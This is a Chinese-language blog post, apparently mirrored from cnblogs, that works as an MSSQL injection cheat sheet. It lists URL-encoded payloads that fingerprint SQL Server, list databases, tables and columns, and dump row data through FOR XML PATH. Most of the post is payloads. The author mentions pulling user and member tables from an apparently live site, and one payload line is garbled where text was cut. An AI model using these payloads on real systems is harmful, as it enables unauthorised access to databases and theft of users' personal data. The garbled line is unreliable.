zoukankan      html  css  js  c++  java
  • 大哥带的MSsql注入(SQL Server)--预习

    判断数据库类型
    and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
    and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

    判断数据库版本
           and 1=@@version--这个语句要在有回显的模式下才可以哦
           and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

    获取所有数据库的个数 (一下3条语句可供选择使用)   
    1. and 1=(select quotename(count(name)) from master..sysdatabases)--
    2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
    3. and 1=(select str(coun、    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
        and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
        and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
    说明:dbid从1-4的数据库一般为系统数据库.

    获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)   
        and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
        and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

    获取当前数据库  
    and db_name()>0

    and 1=(select db_name())--

    获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】
        and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- 
        and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

    获得表里的列
    一次爆指定表的所有列(只限于mssql2005及以上版本):
        and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
        and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

    效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。

    获取指定数据库中的表的列的数据库
    逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
        and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
    一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
        and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%'  就会筛选出含有user关键词的出来。用在筛选表段时很不错

  • 相关阅读:
    gcc编译代码报错及编译方式
    YUV到RGB的转换
    YUV和RGB格式分析
    v4l2的学习建议和流程解析
    在Ubuntu下安装imx6linux系统的交叉编译环境遇到的问题总结
    《赢在测试2》--读书笔记
    关于javascript的slice方法
    数字的千分位格式化方法
    javascript开发中的封装模式(转)
    防止表单重复提交的几种方法
  • 原文地址:https://www.cnblogs.com/-zhong/p/10934622.html
Copyright © 2011-2022 走看看